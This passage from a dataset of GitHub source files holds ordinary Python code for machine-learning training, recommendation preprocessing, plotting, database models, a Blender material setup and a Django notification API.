"torchvision.transforms.Compose", "line_number": 124, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 124, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 167, "usage_type": "call"}, {"api_name": "os.path", "line_number": 167, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path", "line_number": 168, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "iou.IoU", "line_number": 191, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 202, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 202, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 203, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 203, "usage_type": "name"}, {"api_name": "torch.stack", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 212, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 218, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 220, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 227, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 227, "usage_type": "call"}, {"api_name": "os.path", "line_number": 227, "usage_type": "attribute"}, {"api_name": "torchvision.utils.save_image", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path", "line_number": 228, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.argpartition", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.argpartition", "line_number": 242, "usage_type": "call"}, {"api_name": "iou.mean", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 244, "usage_type": "call"}, {"api_name": "unet_encoder2.unet", "line_number": 247, "usage_type": "call"}, {"api_name": "torch.nn.DataParallel", "line_number": 249, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 249, "usage_type": "name"}]}
{"seq_id": "13485240808", "text": "# This is the main training setup for training a Pensieve model, but\n# stopping at intervals to add new training data based on performance\n# (increases generalizability, we hope!)\nimport sys\nimport subprocess\nimport numpy as np\nimport os\nfrom bayes_opt import BayesianOptimization\n# Inputs:\n#\n# - experiment results directory\n# - training data directory (with traces in subdirectories)\n# - total epochs\n# - bayesian optimizer interval (e.g., every 5000 epochs) - this is how many epoch each training run will go\n\n# Defaults\n# Improvement: Probably better if replaced with argparse and passed in (later)\n# TOTAL_EPOCHS = 10000\n# BAYESIAN_OPTIMIZER_INTERVAL = 1000\nTRAINING_DATA_DIR = \"../data/generated_traces_ts_float-BO/train_4_rebuf_4_3/\"\nVAL_TRACE_DIR = '../data/generated_traces_ts_float-BO/val'\nRESULTS_DIR = \"../BO-results/randomize-BW-rebuf_4_3\"\n#NN_MODEL='../new-DR-results/sanity-check-2/model_saved/nn_model_ep_33200.ckpt'\n\n# num_training_runs = int(TOTAL_EPOCHS / BAYESIAN_OPTIMIZER_INTERVAL)\n\nMIN_BW = 1\nMAX_BW = 500\n\n\n# def map_lin_to_log(x):\n#     x_log = (np.log(x) - np.log(MIN_BW)) / (np.log(MAX_BW) - np.log(MIN_BW))\n#     return x_log\n\n# def map_log_to_lin(x):\n#     x_lin = np.exp((np.log(MAX_BW)-np.log(MIN_BW))*x + np.log(MIN_BW))\n#     return x_lin\n\ndef map_log_to_lin(x):\n    x_lin = 2**(10*x)\n    return x_lin\n\ndef latest_actor_from(path):\n    \"\"\"\n    Returns latest tensorflow checkpoint file from a directory.\n    Assumes files are named:\n    nn_model_ep_.ckpt.meta\n    \"\"\"\n    mtime = lambda f: os.stat( os.path.join( path ,f ) ).st_mtime\n    files = list( sorted( os.listdir( path ) ,key=mtime ) )\n    actors = [a for a in files if \"nn_model_ep_\" in a]\n    actor_path = str( path + '/' + actors[-1] )\n    return os.path.splitext( actor_path )[0]\n\n\ndef black_box_function(x):\n    '''\n    :param x: input is the current params\n    :return: reward is the mpc-rl reward\n    '''\n    # TODO: this need to be args.summary_dir\n    # TODO: do i need to load the actor_path here?\n    path = os.path.join( RESULTS_DIR, 'model_saved' )\n    latest_model_path = latest_actor_from(path)\n    #print(latest_model_path)\n\n    x_map = map_log_to_lin(x)\n\n    command = \" python rl_test.py  \\\n                --CURRENT_PARAM={current_max_tp_param} \\\n                --test_trace_dir='../data/example_traces/' \\\n                --summary_dir='../MPC_RL_test_results/' \\\n                --model_path='{model_path}' \\\n                \".format(current_max_tp_param=x_map, model_path=latest_model_path)\n\n    r = float(subprocess.check_output(command, shell=True, text=True).strip())\n    return r\n\n# the 1st round of training\ncommand = \"python multi_agent.py \\\n                    --TOTAL_EPOCH=8000\\\n                    --train_trace_dir={training_dir} \\\n                    --val_trace_dir='{val_dir}'\\\n                    --summary_dir={results_dir}\\\n                    --description='first-run'\" \\\n                    .format(training_dir=TRAINING_DATA_DIR, val_dir=VAL_TRACE_DIR,\n                            results_dir=RESULTS_DIR)\nos.system( command )\n\n# Example Flow:\nfor i in range(15):\n    # if i > 0:\n    pbounds = {'x': (0 ,1)}\n    optimizer = BayesianOptimization(\n        f=black_box_function ,\n        pbounds=pbounds\n        #random_state=2\n    )\n\n    optimizer.maximize(\n        init_points=13,\n        n_iter=2,\n        kappa=20,\n        xi=0.1\n    )\n    next = optimizer.max\n    param = next.get( 'params' ).get( 'x' )\n    #bo_best_param = round( param ,2 )\n    bo_best_param = map_log_to_lin(param)\n    print( \"BO chose this best param........\", param, bo_best_param )\n\n    # Use the new param, add more traces into Pensieve, train more based on before\n    path = os.path.join( RESULTS_DIR ,'model_saved' )\n    latest_model_path = latest_actor_from( path )\n\n    command = \"python multi_agent.py \\\n                    --TOTAL_EPOCH=5000\\\n                    --train_trace_dir={training_dir} \\\n                    --val_trace_dir='{val_dir}'\\\n                    --summary_dir={results_dir}\\\n                    --description='first-run' \\\n                    --nn_model={model_path} \\\n                    --CURRENT_PARAM={bo_output_param}\"  \\\n                    .format(training_dir=TRAINING_DATA_DIR, val_dir=VAL_TRACE_DIR,\n                            results_dir=RESULTS_DIR, model_path=latest_model_path, bo_output_param=bo_best_param)\n    os.system(command)\n\n    print(\"Get the file and pass it to the training script, if it exists.\\n\")\n    print(\"Running training:\", i)\n    i += 1\n\nprint(\"Hooray!\")\n", "repo_name": "haitian2du/Pensieve-DR-copy", "sub_path": "sim/train_pensieve_with_bo.py", "file_name": "train_pensieve_with_bo.py", "file_ext": "py", "file_size_in_byte": 4534, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.stat", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "subprocess.check_output", "line_number": 76, "usage_type": "call"}, {"api_name": "os.system", "line_number": 88, "usage_type": "call"}, {"api_name": "bayes_opt.BayesianOptimization", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 126, "usage_type": "call"}]}
{"seq_id": "12898909574", "text": "import numpy as np\nimport argparse\nparser = argparse.ArgumentParser(description=\"Run pop_bias.\")\nparser.add_argument('--path', nargs='?', default=\"data/ml_10m/\",  # change by zyang\n                    help='Input data path.')\nparser.add_argument('--slot_count', type=int, default=13,  # change by zyang\n                    help='Input data path.')\nargs = parser.parse_args()\n\nroot = args.path #'./data/ml_10m/'\nslot_count = args.slot_count\nitem_list = []\nfor i in range(slot_count):\n    path = root+'t_{}.txt'.format(i)\n    with open(path) as f:\n        for line in f:\n            item_list.append(int(line.split()[0]))\n# print(\"item_list:\",item_list)\nn_item = len(set(item_list))\npop_item = []\nfor i in range(slot_count):\n    path = root+'t_{}.txt'.format(i)\n    total = 0\n    item_pop_list_t=[]\n    with open(path) as f:\n        for line in f:\n            line = line.strip().split()\n            item, pop = int(line[0]), len(line[1:])\n            item_pop_list_t.append((item,pop))\n            total+=pop\n    pop_item.append([1/(total+n_item) for _ in range(n_item)])\n    # pop_item.append([0/(total) for _ in range(n_item)])\n    for item,pop in item_pop_list_t:\n        # print(item,n_item)\n        pop_item[i][item] = (pop+1.0)/(total+n_item)\n        # pop_item[i][item] = 1e6*(pop)/(total)\npop_item = np.array(pop_item)\n# 0-1\n# pop_item = (pop_item-np.min(pop_item))/(np.max(pop_item)-np.min(pop_item))\n\nfor k in range(pop_item.shape[0]):\n    pop_item[k] = (pop_item[k] - pop_item[k].min()) / (pop_item[k].max() - pop_item[k].min())\n\nprint(\"tot information:\\nmean:\",pop_item.mean(axis=1))\nprint(\"max:\",pop_item.max(axis=1))\nprint(\"min:\",pop_item.min(axis=1))\n\nwith open(root+\"item_pop_seq_ori2.txt\",\"w\") as f:\n    for i in range(n_item):\n        pop_seq_i = pop_item[:, i]\n        write_str = \"\"\n        write_str += str(i) + ' '\n        for pop in pop_seq_i:\n            write_str += str(pop) + ' '\n        write_str = write_str.strip(' ')\n        write_str += '\\n'\n        f.write(write_str)\n", "repo_name": "zyang1580/PDA", "sub_path": "pop_pre.py", "file_name": "pop_pre.py", "file_ext": "py", "file_size_in_byte": 2000, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 93, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 3, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}]}
{"seq_id": "75142051109", "text": "\"\"\"\nPlot the monod function and holling tyoe II for growth and predation rates\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef f_monod(PO4,u_max,kP,color):\n    PO4 = np.array(PO4)\n    mu = (PO4/(PO4+kP))*u_max\n    plt.scatter(PO4,mu,5,color=color)\n    return mu\n\ndef f_hollingII(P,sum_P,g_max,kZ,color):\n    P = np.array(P)\n    sum_P = np.array(sum_P)\n    g = (P/(sum_P+kZ))*g_max\n    plt.scatter(P,g,5,color=color)\n    return g", "repo_name": "OmsLaurina/toolbox_growthadvection_Laurina", "sub_path": "utils/f_monod_hollingII.py", "file_name": "f_monod_hollingII.py", "file_ext": "py", "file_size_in_byte": 440, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.array", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}]}
{"seq_id": "23338457948", "text": "import pymongo\nfrom loguru import logger\n\nfrom DB.db import client\n\ndb: pymongo.database.Database = client.session_url_tokens\ndef create_new_session(guild, url_token):\n    try:\n        db.session_url_tokens.replace_one({'_id': str(guild.id)}, {'_id': str(guild.id), 'url_token': str(url_token)})\n        logger.info(f\"Token updated guild.id - {guild.id}\")\n    except Exception as ex:\n        logger.error(f\"Cant get server info {ex}\")\n", "repo_name": "denisyakimov07/EveKillBoardDiscordBoad", "sub_path": "DB/create_session_url.py", "file_name": "create_session_url.py", "file_ext": "py", "file_size_in_byte": 435, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pymongo.database", "line_number": 6, "usage_type": "attribute"}, {"api_name": "DB.db.client.session_url_tokens", "line_number": 6, "usage_type": "attribute"}, {"api_name": "DB.db.client", "line_number": 6, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 10, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 10, "usage_type": "name"}, {"api_name": "loguru.logger.error", "line_number": 12, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 12, "usage_type": "name"}]}
{"seq_id": "14203939050", "text": "from sqlalchemy import Column, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\n\nBase = declarative_base()\n\n\nclass World(Base):\n    __tablename__ = 'world'\n    id = Column(Integer, primary_key=True)\n    randomnumber = Column(Integer)\n\nsa_worlds = World.__table__\n\n\nclass Fortune(Base):\n    __tablename__ = 'fortune'\n    id = Column(Integer, primary_key=True)\n    message = Column(String)\n\nsa_fortunes = Fortune.__table__\n", "repo_name": "TechEmpower/FrameworkBenchmarks", "sub_path": "frameworks/Python/aiohttp/app/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 444, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7193, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 4, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 9, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 9, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 10, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 10, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 17, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 17, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 18, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 18, "usage_type": "argument"}]}
{"seq_id": "35349439936", "text": "import bpy\nimport os\nfrom . import helper as H\nfrom . import logger as L\n\ndef print_node_inputs(node):\n\tfor i, node in enumerate(node.inputs):\n\t\tprint(i, node.name)\n\ndef print_node_outputs(node):\n\tfor i, node in enumerate(node.outupts):\n\t\tprint(i, node.name)\n\ndef feed_input_indices(context, input_indices):\n\tchannels = [c.channel for c in context.scene.lm_texture_channels]\n\tnames = [n.name for n in context.scene.lm_texture_channels]\n\tfor channel, value in input_indices.items():\n\t\tif channel in channels:\n\t\t\tinput_indices[channel].update({'name':names[channels.index(channel)]})\n\t\n\treturn input_indices\n\ndef create_bsdf_material(asset, material, texture_set=None):\n\tcontext = asset.context\n\tlog = L.Logger(context='CREATE_BSDF_MATERIAL')\n\tinput_indices = {'Base Color':{'index':0},\n\t\t\t\t\t'Metallic':{'index':6},\n\t\t\t\t\t'Roughness':{'index':9},\n\t\t\t\t\t'Alpha':{'index':21},\n\t\t\t\t\t'Normal':{'index':22}}\n\t\n\tinput_indices = feed_input_indices(context, input_indices)\n\n\ttree = material.node_tree\n\tnodes = tree.nodes\n\n\tlocation = (0, 0)\n\tincr = 300\n\n\tnodes.clear()\n\n\toutput = nodes.new('ShaderNodeOutputMaterial')\n\toutput.location = location\n\tlocation = (location[0] - incr, location[1])\n\n\tshader = nodes.new('ShaderNodeBsdfPrincipled')\n\tshader.location = location\n\n\t# Override default Material parameters\n\tif context.scene.lm_override_material_color:\n\t\tshader.inputs[0].default_value = (context.scene.lm_default_material_color[0], context.scene.lm_default_material_color[1], context.scene.lm_default_material_color[2], 1)\n\tif context.scene.lm_override_material_roughness:\n\t\tshader.inputs[7].default_value = context.scene.lm_default_material_roughness\n\tif context.scene.lm_override_material_specular:\n\t\tshader.inputs[5].default_value = context.scene.lm_default_material_specular\n\tlocation = (location[0] - incr - 400, location[1])\n\n\ttree.links.new(shader.outputs[0], output.inputs[0])\n\t\n\tif texture_set is not None:\n\t\tfor channel, input_idx in input_indices.items():\n\t\t\ttry:\n\t\t\t\tt = texture_set[channel]['file']\n\t\t\texcept KeyError as k:\n\t\t\t\tlog.warning('No texture found for channel \"{}\" in the material \"{}\".'.format(channel, material.name))\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tlog.info('Assigning \"{}\" to material \"{}\" in the \"{}\" channel.'.format(os.path.join(os.path.basename(os.path.dirname(t)), os.path.basename(t)), material.name, channel))\n\t\t\t\n\t\t\tif t is None:\n\t\t\t\tcontinue\n\t\t\tif channel == 'Alpha':\n\t\t\t\tmaterial.blend_method = 'HASHED'\n\t\t\t\tmaterial.alpha_threshold = 0.2\n\n\t\t\tmaterial_texture = context.scene.lm_asset_list[asset.asset_name].material_list[material.name].texture_list.add()\n\t\t\tmaterial_texture.file_path = t\n\t\t\tmaterial_texture.channel = channel\n\n\t\t\tdir_name = os.path.dirname(t)\n\t\t\tfile_name = os.path.basename(t)\n\n\t\t\ttexture = nodes.new('ShaderNodeTexImage')\n\n\t\t\tinitial_scene_textures = list(bpy.data.images)\n\n\t\t\tbpy.ops.image.open(filepath=t, directory=dir_name, show_multiview=False)\n\n\t\t\tnew_scene_textures = list(bpy.data.images)\n\n\t\t\tnew_image = H.get_different_items(initial_scene_textures, new_scene_textures)\n\n\t\t\tif not len(new_image):\n\t\t\t\tfor i in bpy.data.images:\n\t\t\t\t\tif i.filepath == t:\n\t\t\t\t\t\ti.name = file_name\n\t\t\t\t\t\tnew_image = i.name\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tnew_image = file_name\n\t\t\telse:\n\t\t\t\tnew_image[0].name = file_name\n\t\t\t\tnew_image = new_image[0].name\n\n\t\t\tmaterial_texture.name = new_image\n\t\t\tmaterial_texture.image = bpy.data.images[new_image]\n\t\t\t\n\t\t\ttexture.image = bpy.data.images[new_image]\n\t\t\ttexture.label = os.path.splitext(new_image)[0]\n\n\t\t\ttexture.location = location\n\t\t\t\n\t\t\tinverted = texture_set[channel]['inverted']\n\n\t\t\tif texture_set[channel]['normal_map']:\n\t\t\t\tnormal_map = nodes.new('ShaderNodeNormalMap')\n\t\t\t\tnormal_map.location = (location[0] + incr, location[1])\n\n\t\t\t\tif inverted:\n\t\t\t\t\tcombine = nodes.new('ShaderNodeCombineRGB')\n\t\t\t\t\tcombine.location = location\n\t\t\t\t\tlocation = (location[0] - incr/2, location[1])\n\n\t\t\t\t\tinvert = nodes.new('ShaderNodeInvert')\n\t\t\t\t\tinvert.location = location\n\t\t\t\t\tlocation = (location[0] - incr/2, location[1])\n\n\t\t\t\t\tseparate = nodes.new('ShaderNodeSeparateRGB')\n\t\t\t\t\tseparate.location = location\n\t\t\t\t\tlocation = (location[0] - incr, location[1])\n\n\t\t\t\t\ttexture.location = location\n\n\t\t\t\t\ttree.links.new(texture.outputs[0], separate.inputs[0])\n\n\t\t\t\t\ttree.links.new(separate.outputs[0], combine.inputs[0])\n\t\t\t\t\ttree.links.new(separate.outputs[1], invert.inputs[1])\n\t\t\t\t\ttree.links.new(separate.outputs[2], combine.inputs[2])\n\n\t\t\t\t\ttree.links.new(invert.outputs[0], combine.inputs[1])\n\n\t\t\t\t\t\n\t\t\t\ttexture.image.colorspace_settings.name = 'Linear'\n\t\t\t\t\n\t\t\t\tif inverted:\n\t\t\t\t\ttree.links.new(combine.outputs[0], normal_map.inputs[1])\n\t\t\t\telse:\n\t\t\t\t\ttree.links.new(texture.outputs[0], normal_map.inputs[1])\n\n\t\t\t\ttree.links.new(normal_map.outputs[0], shader.inputs[input_idx['index']])\n\t\t\telse:\n\t\t\t\tif texture_set[channel]['linear']:\n\t\t\t\t\ttexture.image.colorspace_settings.name = 'Linear'\n\t\t\t\t\n\t\t\t\tif inverted:\n\t\t\t\t\tinvert = nodes.new('ShaderNodeInvert')\n\t\t\t\t\tinvert.location = location\n\t\t\t\t\tlocation = (location[0] - incr, location[1])\n\n\t\t\t\t\ttree.links.new(texture.outputs[0], invert.inputs[1])\n\t\t\t\t\ttree.links.new(invert.outputs[0], shader.inputs[input_idx['index']])\n\t\t\t\telse:\n\t\t\t\t\ttree.links.new(texture.outputs[0], shader.inputs[input_idx['index']])\n\t\t\n\t\t\tlocation = (location[0], location[1] - incr)\n\treturn output", "repo_name": "Tilapiatsu/blender-lineup_maker", "sub_path": "material.py", "file_name": "material.py", "file_ext": "py", "file_size_in_byte": 5284, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 85, "usage_type": "attribute"}, {"api_name": "bpy.ops.image.open", "line_number": 87, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 87, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 89, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 94, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 106, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 108, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}]}
{"seq_id": "24619748082", "text": "from django import forms\nfrom django.db.models import Q\nfrom django.contrib.auth.models import User\nfrom django.contrib.contenttypes.models import ContentType\n\nimport django_filters\nfrom actstream.models import Action\nfrom rest_framework import serializers, viewsets, permissions, mixins, status\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\n\nfrom kitsune.notifications.models import (\n    PushNotificationRegistration,\n    Notification,\n    RealtimeRegistration,\n)\nfrom kitsune.sumo.api_utils import OnlyCreatorEdits, DateTimeUTCField, GenericRelatedField\n\n\nclass OnlyOwner(permissions.BasePermission):\n    \"\"\"\n    Only allow objects to affected by their owner.\n\n    TODO: This should be tied to user and object permissions better, but\n    for now this is a bandaid.\n    \"\"\"\n\n    def has_object_permission(self, request, view, obj):\n        user = getattr(request, \"user\", None)\n        owner = getattr(obj, \"owner\", None)\n        # Only the creator can modify things.\n        return user == owner\n\n\nclass NotificationSerializer(serializers.ModelSerializer):\n    is_read = serializers.ReadOnlyField()\n    timestamp = DateTimeUTCField(\"%Y-%m-%dT%H:%M:%SZ\", source=\"action.timestamp\")\n    actor = GenericRelatedField(source=\"action.actor\")\n    verb = serializers.CharField(source=\"action.verb\")\n    action_object = GenericRelatedField(source=\"action.action_object\")\n    target = GenericRelatedField(source=\"action.target\")\n\n    class Meta:\n        model = PushNotificationRegistration\n        fields = (\n            \"action_object\",\n            \"actor\",\n            \"id\",\n            \"is_read\",\n            \"target\",\n            \"timestamp\",\n            \"verb\",\n        )\n\n\nclass NotificationFilter(django_filters.FilterSet):\n    is_read = django_filters.BooleanFilter(method=\"filter_is_read\", widget=forms.TextInput)\n\n    class Meta(object):\n        model = Notification\n        fields = [\n            \"is_read\",\n        ]\n\n    def filter_is_read(self, queryset, name, value):\n        if value:\n            return queryset.exclude(read_at=None)\n        return queryset.filter(read_at=None)\n\n\nclass NotificationViewSet(\n    mixins.ListModelMixin, mixins.RetrieveModelMixin, viewsets.GenericViewSet\n):\n    queryset = Notification.objects.all()\n    serializer_class = NotificationSerializer\n    permission_classes = [\n        permissions.IsAuthenticated,\n        OnlyOwner,\n    ]\n    filterset_class = NotificationFilter\n    pagination_class = None\n\n    def get_queryset(self, *args, **kwargs):\n        qs = super(NotificationViewSet, self).get_queryset(*args, **kwargs)\n        return qs.filter(owner=self.request.user)\n\n    @action(detail=True, methods=[\"post\"])\n    def mark_read(self, request, pk=None):\n        \"\"\"Mark the notification as read.\"\"\"\n        notification = self.get_object()\n        notification.is_read = True\n        notification.save()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n    @action(detail=True, methods=[\"post\"])\n    def mark_unread(self, request, pk=None):\n        \"\"\"Mark the notification as unread.\"\"\"\n        notification = self.get_object()\n        notification.is_read = False\n        notification.save()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass PushNotificationRegistrationSerializer(serializers.ModelSerializer):\n    # Use usernames to reference users.\n    creator = serializers.SlugRelatedField(\n        slug_field=\"username\", required=False, queryset=User.objects.all()\n    )\n\n    class Meta:\n        model = PushNotificationRegistration\n        fields = (\n            \"creator\",\n            \"id\",\n            \"push_url\",\n        )\n\n    def validate(self, data):\n        authed_user = getattr(self.context.get(\"request\"), \"user\")\n        creator = data.get(\"creator\")\n\n        if creator is None:\n            data[\"creator\"] = authed_user\n        elif creator != authed_user:\n            raise serializers.ValidationError(\n                {\"creator\": \"Can't register push notifications for another user.\"}\n            )\n\n        return data\n\n\nclass PushNotificationRegistrationViewSet(\n    mixins.CreateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet\n):\n    queryset = PushNotificationRegistration.objects.all()\n    serializer_class = PushNotificationRegistrationSerializer\n    permission_classes = [\n        permissions.IsAuthenticated,\n        OnlyCreatorEdits,\n    ]\n\n\nclass RealtimeRegistrationSerializer(serializers.ModelSerializer):\n    endpoint = serializers.CharField(write_only=True)\n    creator = serializers.SlugRelatedField(\n        slug_field=\"username\", required=False, queryset=User.objects.all()\n    )\n    content_type = serializers.SlugRelatedField(\n        slug_field=\"model\", queryset=ContentType.objects.all()\n    )\n\n    class Meta:\n        model = RealtimeRegistration\n        fields = [\n            \"id\",\n            \"creator\",\n            \"created\",\n            \"endpoint\",\n            \"content_type\",\n            \"object_id\",\n        ]\n\n    def validate(self, data):\n        data = super(RealtimeRegistrationSerializer, self).validate(data)\n        authed_user = getattr(self.context.get(\"request\"), \"user\")\n        creator = data.get(\"creator\")\n\n        if creator is None:\n            data[\"creator\"] = authed_user\n        elif creator != authed_user:\n            raise serializers.ValidationError(\n                \"Can't register push notifications for another user.\"\n            )\n\n        return data\n\n\nclass RealtimeActionSerializer(serializers.ModelSerializer):\n    action_object = GenericRelatedField(serializer_type=\"full\")\n    actor = GenericRelatedField(serializer_type=\"full\")\n    target = GenericRelatedField(serializer_type=\"full\")\n    verb = serializers.CharField()\n    timestamp = DateTimeUTCField()\n\n    class Meta:\n        model = PushNotificationRegistration\n        fields = (\n            \"action_object\",\n            \"actor\",\n            \"id\",\n            \"target\",\n            \"timestamp\",\n            \"verb\",\n        )\n\n\nclass RealtimeRegistrationViewSet(\n    mixins.CreateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet\n):\n    queryset = RealtimeRegistration.objects.all()\n    serializer_class = RealtimeRegistrationSerializer\n    permission_classes = [\n        permissions.IsAuthenticated,\n        OnlyCreatorEdits,\n    ]\n\n    @action(detail=True, methods=[\"get\"])\n    def updates(self, request, pk=None):\n        \"\"\"Get all the actions that correspond to this registration.\"\"\"\n        reg = self.get_object()\n\n        query = Q(actor_content_type=reg.content_type, actor_object_id=reg.object_id)\n        query |= Q(target_content_type=reg.content_type, target_object_id=reg.object_id)\n        query |= Q(\n            action_object_content_type=reg.content_type, action_object_object_id=reg.object_id\n        )\n\n        actions = Action.objects.filter(query)\n        serializer = RealtimeActionSerializer(actions, many=True)\n\n        return Response(serializer.data)\n", "repo_name": "mozilla/kitsune", "sub_path": "kitsune/notifications/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 6969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1209, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.permissions.BasePermission", "line_number": 20, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 20, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 35, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 35, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ReadOnlyField", "line_number": 36, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 36, "usage_type": "name"}, {"api_name": "kitsune.sumo.api_utils.DateTimeUTCField", "line_number": 37, "usage_type": "call"}, {"api_name": "kitsune.sumo.api_utils.GenericRelatedField", "line_number": 38, "usage_type": "call"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 39, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 39, "usage_type": "name"}, {"api_name": "kitsune.sumo.api_utils.GenericRelatedField", "line_number": 40, "usage_type": "call"}, {"api_name": "kitsune.sumo.api_utils.GenericRelatedField", "line_number": 41, "usage_type": "call"}, {"api_name": "kitsune.notifications.models.PushNotificationRegistration", "line_number": 44, "usage_type": "name"}, {"api_name": "django_filters.FilterSet", "line_number": 56, "usage_type": "attribute"}, {"api_name": "django_filters.BooleanFilter", "line_number": 57, "usage_type": "call"}, 